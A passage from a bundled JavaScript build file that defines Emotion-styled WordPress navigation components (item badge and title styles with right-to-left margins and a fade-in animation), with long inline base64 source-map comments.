B9O1xuXHRkaXNwbGF5OiBmbGV4O1xuXHRmbGV4LWRpcmVjdGlvbjogY29sdW1uO1xuXHR1bCB7XG5cdFx0cGFkZGluZzogMDtcblx0XHRtYXJnaW46IDA7XG5cdFx0bGlzdC1zdHlsZTogbm9uZTtcblx0fVxuXHQuY29tcG9uZW50cy1uYXZpZ2F0aW9uX19iYWNrLWJ1dHRvbiB7XG5cdFx0bWFyZ2luLWJvdHRvbTogJHsgc3BhY2UoIDYgKSB9O1xuXHR9XG5cblx0LmNvbXBvbmVudHMtbmF2aWdhdGlvbl9fZ3JvdXAgKyAuY29tcG9uZW50cy1uYXZpZ2F0aW9uX19ncm91cCB7XG5cdFx0bWFyZ2luLXRvcDogJHsgc3BhY2UoIDYgKSB9O1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgTWVudUJhY2tCdXR0b25VSSA9IHN0eWxlZCggQnV0dG9uIClgXG5cdCYuaXMtdGVydGlhcnkge1xuXHRcdGNvbG9yOiBpbmhlcml0O1xuXHRcdG9wYWNpdHk6IDAuNztcblxuXHRcdCY6aG92ZXI6bm90KCA6ZGlzYWJsZWQgKSB7XG5cdFx0XHRvcGFjaXR5OiAxO1xuXHRcdFx0Ym94LXNoYWRvdzogbm9uZTtcblx0XHRcdGNvbG9yOiBpbmhlcml0O1xuXHRcdH1cblxuXHRcdCY6YWN0aXZlOm5vdCggOmRpc2FibGVkICkge1xuXHRcdFx0YmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7XG5cdFx0XHRvcGFjaXR5OiAxO1xuXHRcdFx0Y29sb3I6IGluaGVyaXQ7XG5cdFx0fVxuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgTWVudVRpdGxlVUkgPSBzdHlsZWQuZGl2YFxuXHRvdmVyZmxvdzogaGlkZGVuO1xuXHR3aWR0aDogMTAwJTtcbmA7XG5cbmV4cG9ydCBjb25zdCBNZW51VGl0bGVTZWFyY2hDb250cm9sV3JhcHBlciA9IHN0eWxlZC5kaXZgXG5cdG1hcmdpbjogMTFweCAwOyAvLyBub24taWRlYWwgaGFyZGNvZGluZyB0byBtYWludGFpbiBzYW1lIGhlaWdodCBhcyBIZWFkaW5nLCBjb3VsZCBiZSBpbXByb3ZlZFxuXHRwYWRkaW5nOiAxcHg7IC8vIHNvIHRoZSBmb2N1cyBib3JkZXIgZG9lc24ndCBnZXQgY3V0IG9mZiBieSB0aGUgb3ZlcmZsb3cgaGlkZGVuIG9uIE1lbnVUaXRsZVVJXG5gO1xuXG5leHBvcnQgY29uc3QgTWVudVRpdGxlQWN0aW9uc1VJID0gc3R5bGVkLnNwYW5gXG5cdGhlaWdodDogJHsgc3BhY2UoIDYgKSB9OyAvLyAyNHB4LCBzYW1lIGhlaWdodCBhcyB0aGUgYnV0dG9ucyBpbnNpZGVcblxuXHQuY29tcG9uZW50cy1idXR0b24uaXMtc21hbGwge1xuXHRcdGNvbG9yOiBpbmhlcml0O1xuXHRcdG9wYWNpdHk6IDAuNztcblx0XHRtYXJnaW4tcmlnaHQ6ICR7IHNwYWNlKCAxICkgfTsgLy8gQXZvaWQgaGlkaW5nIHRoZSBmb2N1cyBvdXRsaW5lXG5cdFx0cGFkZGluZzogMDtcblxuXHRcdCY6YWN0aXZlOm5vdCggOmRpc2FibGVkICkge1xuXHRcdFx0YmFja2dyb3VuZDogbm9uZTtcblx0XHRcdG9wYWNpdHk6IDE7XG5cdFx0XHRjb2xvcjogaW5oZXJpdDtcblx0XHR9XG5cdFx0Jjpob3Zlcjpub3QoIDpkaXNhYmxlZCApIHtcblx0XHRcdGJveC1zaGFkb3c6IG5vbmU7XG5cdFx0XHRvcGFjaXR5OiAxO1xuXHRcdFx0Y29sb3I6IGluaGVyaXQ7XG5cdFx0fVxuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgR3JvdXBUaXRsZVVJID0gc3R5bGVkKCBIZWFkaW5nIClgXG5cdG1pbi1oZWlnaHQ6ICR7IHNwYWNlKCAxMiApIH07XG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdGNvbG9yOiBpbmhlcml0O1xuXHRkaXNwbGF5OiBmbGV4O1xuXHRqdXN0aWZ5LWNvbnRlbnQ6IHNwYWNlLWJldHdlZW47XG5cdG1hcmdpbi1ib3R0b206ICR7IHNwYWNlKCAyICkgfTtcblx0cGFkZGluZzogJHsgKCkgPT5cblx0XHRpc1JUTCgpXG5cdFx0XHQ/IGAkeyBzcGFjZSggMSApIH0gJHsgc3BhY2UoIDQgKSB9ICR7IHNwYWNlKCAxICkgfSAkeyBzcGFjZSggMiApIH1gXG5cdFx0XHQ6IGAkeyBzcGFjZSggMSApIH0gJHsgc3BhY2UoIDIgKSB9ICR7IHNwYWNlKCAxICkgfSAkeyBzcGFjZShcblx0XHRcdFx0XHQ0XG5cdFx0XHQgICkgfWAgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBJdGVtQmFzZVVJID0gc3R5bGVkLmxpYFxuXHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzU21hbGwgfTtcblx0Y29sb3I6IGluaGVyaXQ7XG5cdG1hcmdpbi1ib3R0b206IDA7XG5cblx0PiBidXR0b24sXG5cdD4gYS5jb21wb25lbnRzLWJ1dHRvbixcblx0PiBhIHtcblx0XHR3aWR0aDogMTAwJTtcblx0XHRjb2xvcjogaW5oZXJpdDtcblx0XHRvcGFjaXR5OiAwLjc7XG5cdFx0cGFkZGluZzogJHsgc3BhY2UoIDIgKSB9ICR7IHNwYWNlKCA0ICkgfTsgLyogOHB4IDE2cHggKi9cblx0XHQkeyBydGwoIHsgdGV4dEFsaWduOiAnbGVmdCcgfSwgeyB0ZXh0QWxpZ246ICdyaWdodCcgfSApIH1cblxuXHRcdCY6aG92ZXIsXG5cdFx0Jjpmb2N1czpub3QoIFthcmlhLWRpc2FibGVkPSd0cnVlJ10gKTphY3RpdmUsXG5cdFx0JjphY3RpdmU6bm90KCBbYXJpYS1kaXNhYmxlZD0ndHJ1ZSddICk6YWN0aXZlIHtcblx0XHRcdGNvbG9yOiBpbmhlcml0O1xuXHRcdFx0b3BhY2l0eTogMTtcblx0XHR9XG5cdH1cblxuXHQmLmlzLWFjdGl2ZSB7XG5cdFx0YmFja2dyb3VuZC1jb2xvcjogJHsgQ09MT1JTLnRoZW1lLmFjY2VudCB9O1xuXHRcdGNvbG9yOiAkeyBDT0xPUlMudGhlbWUuYWNjZW50SW52ZXJ0ZWQgfTtcblxuXHRcdD4gYnV0dG9uLFxuXHRcdC5jb21wb25lbnRzLWJ1dHRvbjpob3Zlcixcblx0XHQ+IGEge1xuXHRcdFx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5hY2NlbnRJbnZlcnRlZCB9O1xuXHRcdFx0b3BhY2l0eTogMTtcblx0XHR9XG5cdH1cblxuXHQ+IHN2ZyBwYXRoIHtcblx0XHRjb2xvcjogJHsgQ09MT1JTLmdyYXlbIDYwMCBdIH07XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBJdGVtVUkgPSBzdHlsZWQuZGl2YFxuXHRkaXNwbGF5OiBmbGV4O1xuXHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRoZWlnaHQ6IGF1dG87XG5cdG1pbi1oZWlnaHQ6IDQwcHg7XG5cdG1hcmdpbjogMDtcblx0cGFkZGluZzogJHsgc3BhY2UoIDEuNSApIH0gJHsgc3BhY2UoIDQgKSB9O1xuXHRmb250LXdlaWdodDogNDAwO1xuXHRsaW5lLWhlaWdodDogMjBweDtcblx0d2lkdGg6IDEwMCU7XG5cdGNvbG9yOiBpbmhlcml0O1xuXHRvcGFjaXR5OiAwLjc7XG5gO1xuXG5leHBvcnQgY29uc3QgSXRlbUljb25VSSA9IHN0eWxlZC5zcGFuYFxuXHRkaXNwbGF5OiBmbGV4O1xuXHRtYXJnaW4tcmlnaHQ6ICR7IHNwYWNlKCAyICkgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBJdGVtQmFkZ2VVSSA9IHN0eWxlZC5zcGFuYFxuXHRtYXJnaW4tbGVmdDogJHsgKCkgPT4gKCBpc1JUTCgpID8gJzAnIDogc3BhY2UoIDIgKSApIH07XG5cdG1hcmdpbi1yaWdodDogJHsgKCkgPT4gKCBpc1JUTCgpID8gc3BhY2UoIDIgKSA6ICcwJyApIH07XG5cdGRpc3BsYXk6IGlubGluZS1mbGV4O1xuXHRwYWRkaW5nOiAkeyBzcGFjZSggMSApIH0gJHsgc3BhY2UoIDMgKSB9O1xuXHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzU21hbGwgfTtcblxuXHRAa2V5ZnJhbWVzIGZhZGUtaW4ge1xuXHRcdGZyb20ge1xuXHRcdFx0b3BhY2l0eTogMDtcblx0XHR9XG5cdFx0dG8ge1xuXHRcdFx0b3BhY2l0eTogMTtcblx0XHR9XG5cdH1cblxuXHRAbWVkaWEgbm90ICggcHJlZmVycy1yZWR1Y2VkLW1vdGlvbiApIHtcblx0XHRhbmltYXRpb246IGZhZGUtaW4gMjUwbXMgZWFzZS1vdXQ7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBJdGVtVGl0bGVVSSA9IHN0eWxlZCggVGV4dCApYFxuXHQkeyAoKSA9PiAoIGlzUlRMKCkgPyAnbWFyZ2luLWxlZnQ6IGF1dG87JyA6ICdtYXJnaW4tcmlnaHQ6IGF1dG87JyApIH1cblx0Zm9udC1zaXplOiAxNHB4O1xuXHRsaW5lLWhlaWdodDogMjBweDtcblx0Y29sb3I6IGluaGVyaXQ7XG5gO1xuIl19 */"));
43539 var ItemBadgeUI = /* @__PURE__ */ createStyled("span", false ? {
43540 target: "eeiismy1"
43541 } : {
43542 target: "eeiismy1",
43543 label: "ItemBadgeUI"
43544 })("margin-left:", () => (0, import_i18n60.isRTL)() ? "0" : space(2), ";margin-right:", () => (0, import_i18n60.isRTL)() ? space(2) : "0", ";display:inline-flex;padding:", space(1), " ", space(3), ";border-radius:", config_values_default.radiusSmall, ";@keyframes fade-in{from{opacity:0;}to{opacity:1;}}@media not ( prefers-reduced-motion ){animation:fade-in 250ms ease-out;}" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIm5hdmlnYXRpb24tc3R5bGVzLnRzeCJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUEwS3NDIiwiZmlsZSI6Im5hdmlnYXRpb24tc3R5bGVzLnRzeCIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuLyoqXG4gKiBXb3JkUHJlc3MgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGlzUlRMIH0gZnJvbSAnQHdvcmRwcmVzcy9pMThuJztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgQ09MT1JTIH0gZnJvbSAnLi4vLi4vdXRpbHMvY29sb3JzLXZhbHVlcyc7XG5pbXBvcnQgQnV0dG9uIGZyb20gJy4uLy4uL2J1dHRvbic7XG5pbXBvcnQgeyBUZXh0IH0gZnJvbSAnLi4vLi4vdGV4dCc7XG5pbXBvcnQgeyBIZWFkaW5nIH0gZnJvbSAnLi4vLi4vaGVhZGluZyc7XG5pbXBvcnQgeyBydGwsIENPTkZJRyB9IGZyb20gJy4uLy4uL3V0aWxzJztcbmltcG9ydCB7IHNwYWNlIH0gZnJvbSAnLi4vLi4vdXRpbHMvc3BhY2UnO1xuXG5leHBvcnQgY29uc3QgTmF2aWdhdGlvblVJID0gc3R5bGVkLmRpdmBcblx0d2lkdGg6IDEwMCU7XG5cdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdHBhZGRpbmc6IDAgJHsgc3BhY2UoIDQgKSB9O1xuXHRvdmVyZmxvdzogaGlkZGVuO1xuYDtcblxuZXhwb3J0IGNvbnN0IE1lbnVVSSA9IHN0eWxlZC5kaXZgXG5cdG1hcmdpbi10b3A6ICR7IHNwYWNlKCA2ICkgfTtcblx0bWFyZ2luLWJvdHRvbTogJHsgc3BhY2UoIDYgKSB9O1xuXHRkaXNwbGF5OiBmbGV4O1xuXHRmbGV4LWRpcmVjdGlvbjogY29sdW1uO1xuXHR1bCB7XG5cdFx0cGFkZGluZzogMDtcblx0XHRtYXJnaW46IDA7XG5cdFx0bGlzdC1zdHlsZTogbm9uZTtcblx0fVxuXHQuY29tcG9uZW50cy1uYXZpZ2F0aW9uX19iYWNrLWJ1dHRvbiB7XG5cdFx0bWFyZ2luLWJvdHRvbTogJHsgc3BhY2UoIDYgKSB9O1xuXHR9XG5cblx0LmNvbXBvbmVudHMtbmF2aWdhdGlvbl9fZ3JvdXAgKyAuY29tcG9uZW50cy1uYXZpZ2F0aW9uX19ncm91cCB7XG5cdFx0bWFyZ2luLXRvcDogJHsgc3BhY2UoIDYgKSB9O1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgTWVudUJhY2tCdXR0b25VSSA9IHN0eWxlZCggQnV0dG9uIClgXG5cdCYuaXMtdGVydGlhcnkge1xuXHRcdGNvbG9yOiBpbmhlcml0O1xuXHRcdG9wYWNpdHk6IDAuNztcblxuXHRcdCY6aG92ZXI6bm90KCA6ZGlzYWJsZWQgKSB7XG5cdFx0XHRvcGFjaXR5OiAxO1xuXHRcdFx0Ym94LXNoYWRvdzogbm9uZTtcblx0XHRcdGNvbG9yOiBpbmhlcml0O1xuXHRcdH1cblxuXHRcdCY6YWN0aXZlOm5vdCggOmRpc2FibGVkICkge1xuXHRcdFx0YmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7XG5cdFx0XHRvcGFjaXR5OiAxO1xuXHRcdFx0Y29sb3I6IGluaGVyaXQ7XG5cdFx0fVxuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgTWVudVRpdGxlVUkgPSBzdHlsZWQuZGl2YFxuXHRvdmVyZmxvdzogaGlkZGVuO1xuXHR3aWR0aDogMTAwJTtcbmA7XG5cbmV4cG9ydCBjb25zdCBNZW51VGl0bGVTZWFyY2hDb250cm9sV3JhcHBlciA9IHN0eWxlZC5kaXZgXG5cdG1hcmdpbjogMTFweCAwOyAvLyBub24taWRlYWwgaGFyZGNvZGluZyB0byBtYWludGFpbiBzYW1lIGhlaWdodCBhcyBIZWFkaW5nLCBjb3VsZCBiZSBpbXByb3ZlZFxuXHRwYWRkaW5nOiAxcHg7IC8vIHNvIHRoZSBmb2N1cyBib3JkZXIgZG9lc24ndCBnZXQgY3V0IG9mZiBieSB0aGUgb3ZlcmZsb3cgaGlkZGVuIG9uIE1lbnVUaXRsZVVJXG5gO1xuXG5leHBvcnQgY29uc3QgTWVudVRpdGxlQWN0aW9uc1VJID0gc3R5bGVkLnNwYW5gXG5cdGhlaWdodDogJHsgc3BhY2UoIDYgKSB9OyAvLyAyNHB4LCBzYW1lIGhlaWdodCBhcyB0aGUgYnV0dG9ucyBpbnNpZGVcblxuXHQuY29tcG9uZW50cy1idXR0b24uaXMtc21hbGwge1xuXHRcdGNvbG9yOiBpbmhlcml0O1xuXHRcdG9wYWNpdHk6IDAuNztcblx0XHRtYXJnaW4tcmlnaHQ6ICR7IHNwYWNlKCAxICkgfTsgLy8gQXZvaWQgaGlkaW5nIHRoZSBmb2N1cyBvdXRsaW5lXG5cdFx0cGFkZGluZzogMDtcblxuXHRcdCY6YWN0aXZlOm5vdCggOmRpc2FibGVkICkge1xuXHRcdFx0YmFja2dyb3VuZDogbm9uZTtcblx0XHRcdG9wYWNpdHk6IDE7XG5cdFx0XHRjb2xvcjogaW5oZXJpdDtcblx0XHR9XG5cdFx0Jjpob3Zlcjpub3QoIDpkaXNhYmxlZCApIHtcblx0XHRcdGJveC1zaGFkb3c6IG5vbmU7XG5cdFx0XHRvcGFjaXR5OiAxO1xuXHRcdFx0Y29sb3I6IGluaGVyaXQ7XG5cdFx0fVxuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgR3JvdXBUaXRsZVVJID0gc3R5bGVkKCBIZWFkaW5nIClgXG5cdG1pbi1oZWlnaHQ6ICR7IHNwYWNlKCAxMiApIH07XG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdGNvbG9yOiBpbmhlcml0O1xuXHRkaXNwbGF5OiBmbGV4O1xuXHRqdXN0aWZ5LWNvbnRlbnQ6IHNwYWNlLWJldHdlZW47XG5cdG1hcmdpbi1ib3R0b206ICR7IHNwYWNlKCAyICkgfTtcblx0cGFkZGluZzogJHsgKCkgPT5cblx0XHRpc1JUTCgpXG5cdFx0XHQ/IGAkeyBzcGFjZSggMSApIH0gJHsgc3BhY2UoIDQgKSB9ICR7IHNwYWNlKCAxICkgfSAkeyBzcGFjZSggMiApIH1gXG5cdFx0XHQ6IGAkeyBzcGFjZSggMSApIH0gJHsgc3BhY2UoIDIgKSB9ICR7IHNwYWNlKCAxICkgfSAkeyBzcGFjZShcblx0XHRcdFx0XHQ0XG5cdFx0XHQgICkgfWAgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBJdGVtQmFzZVVJID0gc3R5bGVkLmxpYFxuXHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzU21hbGwgfTtcblx0Y29sb3I6IGluaGVyaXQ7XG5cdG1hcmdpbi1ib3R0b206IDA7XG5cblx0PiBidXR0b24sXG5cdD4gYS5jb21wb25lbnRzLWJ1dHRvbixcblx0PiBhIHtcblx0XHR3aWR0aDogMTAwJTtcblx0XHRjb2xvcjogaW5oZXJpdDtcblx0XHRvcGFjaXR5OiAwLjc7XG5cdFx0cGFkZGluZzogJHsgc3BhY2UoIDIgKSB9ICR7IHNwYWNlKCA0ICkgfTsgLyogOHB4IDE2cHggKi9cblx0XHQkeyBydGwoIHsgdGV4dEFsaWduOiAnbGVmdCcgfSwgeyB0ZXh0QWxpZ246ICdyaWdodCcgfSApIH1cblxuXHRcdCY6aG92ZXIsXG5cdFx0Jjpmb2N1czpub3QoIFthcmlhLWRpc2FibGVkPSd0cnVlJ10gKTphY3RpdmUsXG5cdFx0JjphY3RpdmU6bm90KCBbYXJpYS1kaXNhYmxlZD0ndHJ1ZSddICk6YWN0aXZlIHtcblx0XHRcdGNvbG9yOiBpbmhlcml0O1xuXHRcdFx0b3BhY2l0eTogMTtcblx0XHR9XG5cdH1cblxuXHQmLmlzLWFjdGl2ZSB7XG5cdFx0YmFja2dyb3VuZC1jb2xvcjogJHsgQ09MT1JTLnRoZW1lLmFjY2VudCB9O1xuXHRcdGNvbG9yOiAkeyBDT0xPUlMudGhlbWUuYWNjZW50SW52ZXJ0ZWQgfTtcblxuXHRcdD4gYnV0dG9uLFxuXHRcdC5jb21wb25lbnRzLWJ1dHRvbjpob3Zlcixcblx0XHQ+IGEge1xuXHRcdFx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5hY2NlbnRJbnZlcnRlZCB9O1xuXHRcdFx0b3BhY2l0eTogMTtcblx0XHR9XG5cdH1cblxuXHQ+IHN2ZyBwYXRoIHtcblx0XHRjb2xvcjogJHsgQ09MT1JTLmdyYXlbIDYwMCBdIH07XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBJdGVtVUkgPSBzdHlsZWQuZGl2YFxuXHRkaXNwbGF5OiBmbGV4O1xuXHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRoZWlnaHQ6IGF1dG87XG5cdG1pbi1oZWlnaHQ6IDQwcHg7XG5cdG1hcmdpbjogMDtcblx0cGFkZGluZzogJHsgc3BhY2UoIDEuNSApIH0gJHsgc3BhY2UoIDQgKSB9O1xuXHRmb250LXdlaWdodDogNDAwO1xuXHRsaW5lLWhlaWdodDogMjBweDtcblx0d2lkdGg6IDEwMCU7XG5cdGNvbG9yOiBpbmhlcml0O1xuXHRvcGFjaXR5OiAwLjc7XG5gO1xuXG5leHBvcnQgY29uc3QgSXRlbUljb25VSSA9IHN0eWxlZC5zcGFuYFxuXHRkaXNwbGF5OiBmbGV4O1xuXHRtYXJnaW4tcmlnaHQ6ICR7IHNwYWNlKCAyICkgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBJdGVtQmFkZ2VVSSA9IHN0eWxlZC5zcGFuYFxuXHRtYXJnaW4tbGVmdDogJHsgKCkgPT4gKCBpc1JUTCgpID8gJzAnIDogc3BhY2UoIDIgKSApIH07XG5cdG1hcmdpbi1yaWdodDogJHsgKCkgPT4gKCBpc1JUTCgpID8gc3BhY2UoIDIgKSA6ICcwJyApIH07XG5cdGRpc3BsYXk6IGlubGluZS1mbGV4O1xuXHRwYWRkaW5nOiAkeyBzcGFjZSggMSApIH0gJHsgc3BhY2UoIDMgKSB9O1xuXHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzU21hbGwgfTtcblxuXHRAa2V5ZnJhbWVzIGZhZGUtaW4ge1xuXHRcdGZyb20ge1xuXHRcdFx0b3BhY2l0eTogMDtcblx0XHR9XG5cdFx0dG8ge1xuXHRcdFx0b3BhY2l0eTogMTtcblx0XHR9XG5cdH1cblxuXHRAbWVkaWEgbm90ICggcHJlZmVycy1yZWR1Y2VkLW1vdGlvbiApIHtcblx0XHRhbmltYXRpb246IGZhZGUtaW4gMjUwbXMgZWFzZS1vdXQ7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBJdGVtVGl0bGVVSSA9IHN0eWxlZCggVGV4dCApYFxuXHQkeyAoKSA9PiAoIGlzUlRMKCkgPyAnbWFyZ2luLWxlZnQ6IGF1dG87JyA6ICdtYXJnaW4tcmlnaHQ6IGF1dG87JyApIH1cblx0Zm9udC1zaXplOiAxNHB4O1xuXHRsaW5lLWhlaWdodDogMjBweDtcblx0Y29sb3I6IGluaGVyaXQ7XG5gO1xuIl19 */"));
43545 var ItemTitleUI = /* @__PURE__ */ createStyled(component_default8, false ? {
43546 target: "eeiismy0"
43547 } : {
43548 target: "eeiismy0",
43549 label: "ItemTitleUI"
43550 })(() => (0, import_i18n60.isRTL)() ? "margin-left: auto;" : "margin-right: auto;", " font-size:14px;line-height:20px;color:inherit;" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIm5hdmlnYXRpb24tc3R5bGVzLnRzeCJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUErTHlDIiwiZmlsZSI6Im5hdmlnYXRpb24tc3R5bGVzLnRzeCIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuLyoqXG4gKiBXb3JkUHJlc3MgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGlzUlRMIH0gZnJvbSAnQHdvcmRwcmVzcy9pMThuJztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgQ09MT1JTIH0gZnJvbSAnLi4vLi4vdXRpbHMvY29sb3JzLXZhbHVlcyc7XG5pbXBvcnQgQnV0dG9uIGZyb20gJy4uLy4uL2J1dHRvbic7XG5pbXBvcnQgeyBUZXh0IH0gZnJvbSAnLi4vLi4vdGV4dCc7XG5pbXBvcnQgeyBIZWFkaW5nIH0gZnJvbSAnLi4vLi4vaGVhZGluZyc7XG5pbXBvcnQgeyBydGwsIENPTkZJRyB9IGZyb20gJy4uLy4uL3V0aWxzJztcbmltcG9ydCB7IHNwYWNlIH0gZnJvbSAnLi4vLi4vdXRpbHMvc3BhY2UnO1xuXG5leHBvcnQgY29uc3QgTmF2aWdhdGlvblVJID0gc3R5bGVkLmRpdmBcblx0d2lkdGg6IDEwMCU7XG5cdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdHBhZGRpbmc6IDAgJHsgc3BhY2UoIDQgKSB9O1xuXHRvdmVyZmxvdzogaGlkZGVuO1xuYDtcblxuZXhwb3J0IGNvbnN0IE1lbnVVSSA9IHN0eWxlZC5kaXZgXG5cdG1hcmdpbi10b3A6ICR7IHNwYWNlKCA2ICkgfTtcblx0bWFyZ2luLWJvdHRvbTogJHsgc3BhY2UoIDYgKSB9O1xuXHRkaXNwbGF5OiBmbGV4O1xuXHRmbGV4LWRpcmVjdGlvbjogY29sdW1uO1xuXHR1bCB7XG5cdFx0cGFkZGluZzogMDtcblx0XHRtYXJnaW46IDA7XG5cdFx0bGlzdC1zdHlsZTogbm9uZTtcblx0fVxuXHQuY29tcG9uZW50cy1uYXZpZ2F0aW9uX19iYWNrLWJ1dHRvbiB7XG5cdFx0bWFyZ2luLWJvdHRvbTogJHsgc3BhY2UoIDYgKSB9O1xuXHR9XG5cblx0LmNvbXBvbmVudHMtbmF2aWdhdGlvbl9fZ3JvdXAgKyAuY29tcG9uZW50cy1uYXZpZ2F0aW9uX19ncm91cCB7XG5cdFx0bWFyZ2luLXRvcDogJHsgc3BhY2UoIDYgKSB9O1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgTWVudUJhY2tCdXR0b25VSSA9IHN0eWxlZCggQnV0dG9uIClgXG5cdCYuaXMtdGVydGlhcnkge1xuXHRcdGNvbG9yOiBpbmhlcml0O1xuXHRcdG9wYWNpdHk6IDAuNztcblxuXHRcdCY6aG92ZXI6bm90KCA6ZGlzYWJsZWQgKSB7XG5cdFx0XHRvcGFjaXR5OiAxO1xuXHRcdFx0Ym94LXNoYWRvdzogbm9uZTtcblx0XHRcdGNvbG9yOiBpbmhlcml0O1xuXHRcdH1cblxuXHRcdCY6YWN0aXZlOm5vdCggOmRpc2FibGVkICkge1xuXHRcdFx0YmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7XG5cdFx0XHRvcGFjaXR5OiAxO1xuXHRcdFx0Y29sb3I6IGluaGVyaXQ7XG5cdFx0fVxuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgTWVudVRpdGxlVUkgPSBzdHlsZWQuZGl2YFxuXHRvdmVyZmxvdzogaGlkZGVuO1xuXHR3aWR0aDogMTAwJTtcbmA7XG5cbmV4cG9ydCBjb25zdCBNZW51VGl0bGVTZWFyY2hDb250cm9sV3JhcHBlciA9IHN0eWxlZC5kaXZgXG5cdG1hcmdpbjogMTFweCAwOyAvLyBub24taWRlYWwgaGFyZGNvZGluZyB0byBtYWludGFpbiBzYW1lIGhlaWdodCBhcyBIZWFkaW5nLCBjb3VsZCBiZSBpbXByb3ZlZFxuXHRwYWRkaW5nOiAxcHg7IC8vIHNvIHRoZSBmb2N1cyBib3JkZXIgZG9lc24ndCBnZXQgY3V0IG9mZiBieSB0aGUgb3ZlcmZsb3cgaGlkZGVuIG9uIE1lbnVUaXRsZVVJXG5gO1xuXG5leHBvcnQgY29uc3QgTWVudVRpdGxlQWN0aW9uc1VJID0gc3R5bGVkLnNwYW5gXG5cdGhlaWdodDogJHsgc3BhY2UoIDYgKSB9OyAvLyAyNHB4LCBzYW1lIGhlaWdodCBhcyB0aGUgYnV0dG9ucyBpbnNpZGVcblxuXHQuY29tcG9uZW50cy1idXR0b24uaXMtc21hbGwge1xuXHRcdGNvbG9yOiBpbmhlcml0O1xuXHRcdG9wYWNpdHk6IDAuNztcblx0XHRtYXJnaW4tcmlnaHQ6ICR7IHNwYWNlKCAxICkgfTsgLy8gQXZvaWQgaGlkaW5nIHRoZSBmb2N1cyBvdXRsaW5lXG5cdFx0cGFkZGluZzogMDtcblxuXHRcdCY6YWN0aXZlOm5vdCggOmRpc2FibGVkICkge1xuXHRcdFx0YmFja2dyb3VuZDogbm9uZTtcblx0XHRcdG9wYWNpdHk6IDE7XG5cdFx0XHRjb2xvcjogaW5oZXJpdDtcblx0XHR9XG5cdFx0Jjpob3Zlcjpub3QoIDpkaXNhYmxlZCApIHtcblx0XHRcdGJveC1zaGFkb3c6IG5vbmU7XG5cdFx0XHRvcGFjaXR5OiAxO1xuXHRcdFx0Y29sb3I6IGluaGVyaXQ7XG5cdFx0fVxuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgR3JvdXBUaXRsZVVJID0gc3R5bGVkKCBIZWFkaW5nIClgXG5cdG1pbi1oZWlnaHQ6ICR7IHNwYWNlKCAxMiApIH07XG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdGNvbG9yOiBpbmhlcml0O1xuXHRkaXNwbGF5OiBmbGV4O1xuXHRqdXN0aWZ5LWNvbnRlbnQ6IHNwYWNlLWJldHdlZW47XG5cdG1hcmdpbi1ib3R0b206ICR7IHNwYWNlKCAyICkgfTtcblx0cGFkZGluZzogJHsgKCkgPT5cblx0XHRpc1JUTCgpXG5cdFx0XHQ/IGAkeyBzcGFjZSggMSApIH0gJHsgc3BhY2UoIDQgKSB9ICR7IHNwYWNlKCAxICkgfSAkeyBzcGFjZSggMiApIH1gXG5cdFx0XHQ6IGAkeyBzcGFjZSggMSApIH0gJHsgc3BhY2UoIDIgKSB9ICR7IHNwYWNlKCAxICkgfSAkeyBzcGFjZShcblx0XHRcdFx0XHQ0XG5cdFx0XHQgICkgfWAgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBJdGVtQmFzZVVJID0gc3R5bGVkLmxpYFxuXHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzU21hbGwgfTtcblx0Y29sb3I6IGluaGVyaXQ7XG5cdG1hcmdpbi1ib3R0b206IDA7XG5cblx0PiBidXR0b24sXG5cdD4gYS